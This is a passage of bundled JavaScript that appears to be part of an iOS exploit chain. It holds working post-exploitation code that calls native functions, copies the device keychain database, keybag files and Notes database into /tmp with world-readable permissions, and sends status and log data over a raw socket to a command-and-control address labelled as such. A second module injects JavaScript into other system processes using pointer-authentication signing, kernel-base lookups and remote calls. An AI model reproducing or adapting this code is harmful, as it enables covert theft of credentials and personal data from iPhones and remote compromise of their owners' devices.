true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i<bytes8.length; i++) {\n\t\t\tif (!includeNullChar && !bytes8[i]) break;\n\t\t\tstr += String.fromCharCode(bytes8[i]);\n\t\t}\n\t\treturn str;\n\t}\n\t\n\tstatic stringToBytes(str, nullTerminated=false) {\n\t\tlet buff = new ArrayBuffer(str.length + (nullTerminated ? 1 : 0));\n\t\tlet s8 = new Uint8Array(buff);\n\t\tfor (let i=0; i<str.length; i++)\n\t\t\ts8[i] = str.charCodeAt(i);\n\t\tif (nullTerminated) s8[str.length] = 0x0;\n\t\treturn s8.buffer;\n\t}\n\t\n\tstatic #toNative(value) {\n\t\tif (!value) return 0n;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return -1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\nvar __kcCopyDbOk = false;\nvar __kcCopyDbSz = -1;\nvar __kcCopySrcOk = false;\nvar __kcCopySrcSz = -1;\nvar __kcCopyOkN = 0;\nvar __kcCopyFailN = 0;\nvar __kcCopyExc = false;\n\ntry {\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\t__kcCopyOkN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopyDbOk = true;\n\t\t\t\t__kcCopyDbSz = getFileSize(dstPath);\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t\ttry { Native.callSymbol(\"chmod\", dstPath, 511); } catch (_c) {}\n\t\t\t}\n\t\t} else {\n\t\t\t__kcCopyFailN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t}\n\t\t}\n\t}\n} catch (e) {\n\t__kcCopyExc = true;\n}\n\n// ===== DEBUG uplink: ship /tmp/p7_debug.log tail to C2 via raw socket =====\n// Runs in configd (root) — can read /tmp even though mediaplaybackd cannot.\nfunction _dbgSockSend(tag) {\n\ttry {\n\t\tvar sfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\t\tif (sfd < 0) return;\n\t\tvar one = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(one, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", sfd, 0xffff, 0x1022, one, 4);\n\t\tNative.callSymbol(\"free\", one);\n\t\tvar abuf = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar a8 = new Uint8Array(16);\n\t\ta8[0] = 16; a8[1] = 2; a8[2] = 0x1B; a8[3] = 0x6E; // port 7022 BE\n\t\ta8[4] = 192; a8[5] = 168; a8[6] = 4; a8[7] = 10;\n\t\tNative.write(abuf, a8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", sfd, abuf, 16)) === 0) {\n\t\t\tvar safe = String(tag || \"\").replace(/=/g, \"-\").replace(/[^A-Za-z0-9._~\\-]/g, \"_\");\n\t\t\tvar req = \"GET /log.html?text=\" + safe + \" HTTP/1.0\\r\\nHost: 192.168.31.130\\r\\n\\r\\n\";\n\t\t\tvar rbuf = Native.callSymbol(\"malloc\", req.length + 1);\n\t\t\tNative.writeString(rbuf, req);\n\t\t\tNative.callSymbol(\"write\", sfd, rbuf, req.length);\n\t\t\tNative.callSymbol(\"free\", rbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", sfd);\n\t\tNative.callSymbol(\"free\", abuf);\n\t} catch(e) {}\n}\n\n// Notify MPD: ready=1 + path when keychain-2.db copy succeeded.\n// MPD must wait for this signal (not size>1MB), then sqlite3_open + securityd unwrap.\ntry {\n\t_dbgSockSend(\n\t\t\"kc_copy_db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\"_sz=\" + __kcCopyDbSz +\n\t\t\"_src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\"_ssz=\" + __kcCopySrcSz +\n\t\t\"_ok=\" + __kcCopyOkN +\n\t\t\"_fail=\" + __kcCopyFailN +\n\t\t(__kcCopyExc ? \"_EXC\" : \"\")\n\t);\n} catch (_b) {}\ntry {\n\tvar __kcPath = DEST_DIR + \"/keychain-2.db\";\n\tvar st = \"ready=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" path=\" + __kcPath +\n\t\t\" sz=\" + __kcCopyDbSz +\n\t\t\" src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\" ssz=\" + __kcCopySrcSz +\n\t\t\" ok=\" + __kcCopyOkN +\n\t\t\" fail=\" + __kcCopyFailN + \"\\n\";\n\tvar sfd2 = Number(Native.callSymbol(\"open\", \"/tmp/keychain_copier_status.txt\", 0x601, 511));\n\tif (sfd2 >= 0) {\n\t\tvar sbuf = Native.callSymbol(\"malloc\", BigInt(st.length + 1));\n\t\tNative.writeString(sbuf, st);\n\t\tNative.callSymbol(\"write\", sfd2, sbuf, st.length);\n\t\tNative.callSymbol(\"close\", sfd2);\n\t\tNative.callSymbol(\"free\", sbuf);\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_copier_status.txt\", 511);\n\t}\n\tif (__kcCopyDbOk) {\n\t\tvar gfd = Number(Native.callSymbol(\"open\", \"/tmp/keychain_mpd_go\", 0x601, 511));\n\t\tif (gfd >= 0) {\n\t\t\tvar gbuf = Native.callSymbol(\"malloc\", BigInt(__kcPath.length + 2));\n\t\t\tNative.writeString(gbuf, __kcPath + \"\\n\");\n\t\t\tNative.callSymbol(\"write\", gfd, gbuf, __kcPath.length + 1);\n\t\t\tNative.callSymbol(\"close\", gfd);\n\t\t\tNative.callSymbol(\"free\", gbuf);\n\t\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_mpd_go\", 511);\n\t\t}\n\t\t_dbgSockSend(\"kc_copy_READY_notify_mpd_path_\" + __kcPath.replace(/\\//g, \"_\"));\n\t}\n} catch (_s) {}\n\ntry {\n\tvar p7fd = Number(Native.callSymbol(\"open\", \"/tmp/p7_debug.log\", 0));\n\tif (p7fd < 0) {\n\t\t_dbgSockSend(\"kc_alive_p7log_MISSING\");\n\t} else {\n\t\tvar fend = Number(Native.callSymbol(\"lseek\", p7fd, 0, 2)); // SEEK_END\n\t\tvar fstart = fend > 1400 ? fend - 1400 : 0;\n\t\tNative.callSymbol(\"lseek\", p7fd, fstart, 0);\n\t\tvar rbuf2 = Native.callSymbol(\"malloc\", 1500);\n\t\tvar rn = Number(Native.callSymbol(\"read\", p7fd, rbuf2, 1400));\n\t\tNative.callSymbol(\"close\", p7fd);\n\t\tif (rn <= 0) {\n\t\t\t_dbgSockSend(\"kc_alive_p7log_EMPTY\");\n\t\t} else {\n\t\t\tvar d8 = new Uint8Array(Native.read(rbuf2, rn));\n\t\t\tvar hx = \"\";\n\t\t\tfor (var hi = 0; hi < d8.length; hi++) hx += (d8[hi] < 16 ? \"0\" : \"\") + d8[hi].toString(16);\n\t\t\tNative.callSymbol(\"free\", rbuf2);\n\t\t\t_dbgSockSend(\"kc_p7tail_\" + hx);\n\t\t}\n\t}\n} catch(e) {\n\ttry { _dbgSockSend(\"kc_p7tail_ERR\"); } catch(e2) {}\n}\n// ===== END DEBUG uplink =====\n\n\n");
/***/ }),
/***/ "./src/InjectJS.js":
/*!*************************!*\
!*** ./src/InjectJS.js ***!
\*************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ InjectJS)
/* harmony export */ });
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
const TAG = "INJECTJS";
const RTLD_LAZY = 0x1;
const RTLD_DEFAULT = 0xfffffffffffffffen;
class InjectJS {
task;
#target;
#injectCode;
#migFilterBypass;
#invokingAddr;
#JSContextClass;
#NSMethodSignatureClass;
#NSInvocationClass;
#invokeUsingIMPSel;
#pendingJsContext;
#pendingScriptStr;
constructor(target, injectCode, migFilterBypass=null) {
this.#target = target;
this.#injectCode = injectCode;
this.#migFilterBypass = migFilterBypass;
this.#invokingAddr = this.#findInvoking();
this.#JSContextClass = Native.callSymbol("objc_getClass", "JSContext");
this.#NSMethodSignatureClass = Native.callSymbol("objc_getClass", "NSMethodSignature");
this.#NSInvocationClass = Native.callSymbol("objc_getClass", "NSInvocation");
this.#invokeUsingIMPSel = Native.callSymbol("sel_registerName", "invokeUsingIMP:");
if (!this.#invokingAddr)
console.log(TAG, "Invoking not found!");
}
inject(agentPid=0, opts) {
if (!this.#invokingAddr)
return false;
if (typeof(this.#target) == "string") {
console.log(TAG, `Start injecting JS script into ${this.#target}`);
this.task = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__["default"](this.#target, this.#migFilterBypass);
if (!this.task.success()) {
console.log(TAG, "Unable to inject into: " + this.#target);
return false;
}
}
else {
console.log(TAG, `Start injecting JS script into existing task: ${this.#target.pid()}`);
// Assume target is a RemoteCall object
this.task = this.#target;
if (!this.task.success()) {
console.log(TAG, "Unable to inject into existing task");
return false;
}
}
// Prepare remote JSC + script. By default evaluate immediately (legacy).
// Pass { deferStart: true } then applyTokens + startScript() so tokens land first.
if (!this.#startWithTask(agentPid))
return false;
const defer = opts && opts.deferStart === true;
if (!defer)
this.startScript();
return true;
}
/** Begin deferred evaluateScript: (after Sandbox.applyTokensForRemoteTask). */
startScript() {
if (!this.#pendingJsContext || !this.#pendingScriptStr)
return false;
console.log(TAG, "Starting JS script for target: " + this.#target);
this.#callObjcInBackground(this.#pendingJsContext, "evaluateScript:", this.#pendingScriptStr);
this.#pendingJsContext = null;
this.#pendingScriptStr = null;
console.log(TAG, "All done!");
return true;
}
destroy() {
this.#pendingJsContext = null;
this.#pendingScriptStr = null;
if (this.task && this.task.success())
this.task.destroy();
this.task = null;
}
#startWithTask(agentPid) {
// RemoteCall failure paths historically returned Number 0; pointer math with 0xNNn
// then throws "Invalid mix of BigInt and other type in addition". Always coerce.
const mem = BigInt(this.task.mem() || 0);
if (!mem) {
console.log(TAG, "Remote mem unavailable");
return false;
}
// Sign __invoking__ function address
this.#invokingAddr = BigInt(this.task.pac(this.#invokingAddr, 0) || 0);
if (!this.#invokingAddr) {
console.log(TAG, "PAC of invoking failed");
return false;
}
//console.log(TAG, "Signed invoking: " + Utils.hex(this.#invokingAddr));
this.task.writeStr(mem, "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore");
// configd cold-loads JSC; default remote wait (10s) is too tight on slower devices
const lib = BigInt(this.task.call(60000, "dlopen", mem, RTLD_LAZY) || 0);
//console.log(TAG, "lib: " + Utils.hex(lib));
// Create a JSC context and get pointer to exceptionHandler NSBlock
const jscontext = BigInt(this.#callObjcRetain(this.#JSContextClass, "new") || 0);
if (!jscontext) {
console.log(TAG, "JSContext new failed (lib=" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(lib) + ")");
return false;
}
//console.log(TAG, "Remote JSC: " + Utils.hex(jscontext));
const exceptionHandler = this.task.read64(jscontext + 0x28n);
//console.log(TAG, "Exception handler: " + Utils.hex(exceptionHandler));
// Register an "invoker()" JS function within our JSC context, having exceptionHandler block as native implementation.
// We replace exceptionHandler NSInvocation later in this code.
const invokerStr = this.#writeCFStr(mem, "invoker");
this.#callObjc(jscontext, "setObject:forKeyedSubscript:", exceptionHandler, invokerStr);
//console.log(TAG, "invokerStr: " + Utils.hex(invokerStr));
// Retrieve JSValue of invoker inside JSC context dict
const invoker = BigInt(this.#callObjc(jscontext, "objectForKeyedSubscript:", invokerStr) || 0);
if (!invoker) {
console.log(TAG, "invoker lookup failed");
return false;
}
//console.log(TAG, "invoker: " + Utils.hex(invoker));
// Get pointer of NSInvocation inside NSBlock
const fjval = BigInt(this.task.read64(invoker + 0x8n) || 0);
const storval = BigInt(this.task.read64(fjval + 0x40n) || 0);
const invokerObj = BigInt(this.task.read64(storval + 0x10n) || 0);
if (!fjval || !storval) {
console.log(TAG, "invoker NSBlock walk failed");
return false;
}
//console.log(TAG, "invokerObj: " + Utils.hex(invokerObj));
this.task.writeStr(mem, "QQQQQQQQQQQQQQQ");
const lsignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem);
this.task.writeStr(mem, "@QQQQQQQQQQQQQQ");
const osignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem);
// This is an utility NSInvocation object we share with JS to allow objc call with retained return object
const oinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", osignature) || 0);
// This is the final NSInvocation object we use to call the actual target function
const inv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0);
//console.log(TAG, "inv: " + Utils.hex(inv));
// Create a new NSInvocation and replace the NSBlock one with this
const jsinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0);
//console.log(TAG, "jsinv: " + Utils.hex(jsinv));
if (!oinv || !inv || !jsinv) {
console.log(TAG, "NSInvocation setup failed");
return false;
}
const callBuff = BigInt(this.task.call(1000, "calloc", 1, 0x4000) || 0);
if (!callBuff) {
console.log(TAG, "calloc callBuff failed");
return false;
}
const firstInvokingBuff = callBuff + 0x50n; // callBuff[10]
const argsBuff = callBuff + 0x320n; // callBuff[100]
const resultBuff = callBuff + 0x640n; // callBuff[200]
//console.log(TAG, "callBuff: " + Utils.hex(callBuff));
//console.log(TAG, "firstInvokingBuff: " + Utils.hex(firstInvokingBuff));
//console.log(TAG, "argsBuff: " + Utils.hex(argsBuff));
//console.log(TAG, "resultBuff: " + Utils.hex(resultBuff));
// Share callBuff with JS
this.task.writeStr(mem, "nativeCallBuff");
const jsctx = BigInt(this.#callObjc(jscontext, "JSGlobalContextRef") || 0);
if (!jsctx) {
console.log(TAG, "JSGlobalContextRef failed");
return false;
}
const nativeCallBuff = this.task.call(100, "JSObjectMakeArrayBufferWithBytesNoCopy", jsctx, callBuff, 0x4000);
const globalObject = this.task.call(100, "JSContextGetGlobalObject", jsctx);
const jsName = this.task.call(100, "JSStringCreateWithUTF8CString", mem);
this.task.call(100, "JSObjectSetProperty", jsctx, globalObject, jsName, nativeCallBuff);
let localCallBuff = new BigUint64Array(33);
// Second (final) __invoking__ arguments
localCallBuff[0] = 0x41414141n; // this should be overwritten at every function call
localCallBuff[1] = resultBuff; // Result buffer
localCallBuff[2] = argsBuff; // Arguments buffer
localCallBuff[3] = 0x120n; // args buff size. Do not touch!
// First __invoking__ arguments
localCallBuff[10] = this.#invokingAddr;
localCallBuff[11] = resultBuff;
localCallBuff[12] = callBuff;
localCallBuff[13] = 0xe0n;
// Some offsets we export to JS
localCallBuff[20] = callBuff;
localCallBuff[21] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "dlsym"), 0 );
localCallBuff[22] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "memcpy"), 0 );
localCallBuff[23] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "malloc"), 0 );
localCallBuff[24] = oinv;
localCallBuff[25] = jsctx;
localCallBuff[26] = true ? 1n : 0; // we pass true if DEBUG is set
localCallBuff[27] = 1n;
localCallBuff[28] = 0n;
localCallBuff[29] = 0n;
localCallBuff[30] = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getKernelBase();
let desiredPacGadget = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getPaciaGadget();
// retreiving correct modifier for 18.4 and above
if (globalThis.xnuVersion.major == 24 && globalThis.xnuVersion.minor >= 4) {
desiredPacGadget = Native.pacia(Native.strip(desiredPacGadget),0n);
}
localCallBuff[31] = desiredPacGadget;
localCallBuff[32] = BigInt(agentPid);
//console.log(TAG, "dlsym: " + Utils.hex(localCallBuff[21]));
//console.log(TAG, "memcpy: " + Utils.hex(localCallBuff[22]));
//console.log(TAG, "malloc: " + Utils.hex(localCallBuff[23]));
const nativeLocalBuff = Native.callSymbol("malloc", localCallBuff.byteLength);
Native.write(nativeLocalBuff, localCallBuff.buffer);
this.task.write(callBuff, nativeLocalBuff, localCallBuff.byteLength);
Native.callSymbol("free", nativeLocalBuff);
this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff, 0);
this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x8n, 1);
this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x10n, 2);
this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x18n, 3);
// This NSInvocation should in turn call the final NSInvocation we created before,
// but with fully controlled arguments
this.task.write64(mem, this.#invokingAddr);
this.#callObjc(jsinv, "setTarget:", inv);
this.#callObjc(jsinv, "setSelector:", this.#invokeUsingIMPSel);
this.#callObjc(jsinv, "setArgument:atIndex:", mem, 2);
// Replace NSInvocation
this.task.write64(storval + 0x10n, jsinv);
this.task.write64(storval + 0x18n, 0n);
//console.log(TAG, "NSInvocation replaced");
// Write loader.js in remote task
//const loaderJS = "let buff = new BigUint64Array(this.nativeCallBuff); buff[0] = 0x41414141n; buff[100] = 0x11111111n; invoker();";
console.log(TAG, "JS script length: " + this.#injectCode.length);
const scriptMem = BigInt(this.task.call(1000, "calloc", 1, this.#injectCode.length + 1) || 0);
if (!scriptMem) {
console.log(TAG, "calloc scriptMem failed");
return false;
}
const scriptStr = this.#writeCFStr(scriptMem, this.#injectCode);
this.task.call(100, "free", scriptMem);
//console.log(TAG, "scriptStr: " + Utils.hex(scriptStr));
// Check if we write ok
// console.log(TAG,"Check if we write ok" )
// const a = Native.callSymbol("malloc", this.#injectCode.length + 1);
// const len = this.#callObjc(scriptStr, "length");
// console.log(TAG, len);
// const b = this.#callObjc(scriptStr, "UTF8String");
// this.task.read(b, a, this.#injectCode.length + 1);
// const c = Native.readString(a, this.#injectCode.length);
// console.log(TAG, c);
//const loaderStr = this.#writeCFStr(mem, "loader");
//this.#callObjc(jscontext, "setObject:forKeyedSubscript:", scriptStr, loaderStr);
//console.log(TAG, "loaderStr: " + Utils.hex(loaderStr));
// Defer evaluateScript until startScript() so tokens can be applied first.
this.#pendingJsContext = jscontext;
this.#pendingScriptStr = scriptStr;
console.log(TAG, "JS script prepared (deferred) for target: " + this.#target);
return true;
}
#findInvoking() {
//console.log(TAG, "Find 'invoking()'...");
let startAddr = BigInt(Native.dlsym("_CF_forwarding_prep_0") || 0);
startAddr = startAddr & 0x7fffffffffn; //Chain.strip(startAddr);
//console.log(TAG, "startAddr: " + Utils.hex(startAddr));
if (!startAddr)
return 0n;
if (xnuVersion.major == 24 && xnuVersion.minor >= 5)
startAddr -= 0x2500n;
else
startAddr -= 0x4000n;
const pattern = new Uint8Array([0x67, 0x1D, 0x40, 0xF9, 0x66, 0x19, 0x40, 0xF9, 0x65, 0x15, 0x40, 0xF9, 0x64, 0x11, 0x40, 0xF9]);
Native.write(Native.mem, pattern.buffer);
let foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0);
//console.log(TAG, "foundAddr: " + Utils.hex(foundAddr));
if (!foundAddr) {
// special case for iOS 17.4-17.4.1
//console.log(TAG,`Didnt found invoking,trying to find it for special version`);
startAddr = BigInt(Native.dlsym("CFCharacterSetIsCharacterMember") || 0);
startAddr = startAddr & 0x7fffffffffn;
foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0);
//console.log(TAG,`foundAddr:${Utils.hex(foundAddr)}`);
if (!foundAddr)
return 0n;
}
const buff = Native.read(foundAddr - BigInt(Native.memSize), Native.memSize);
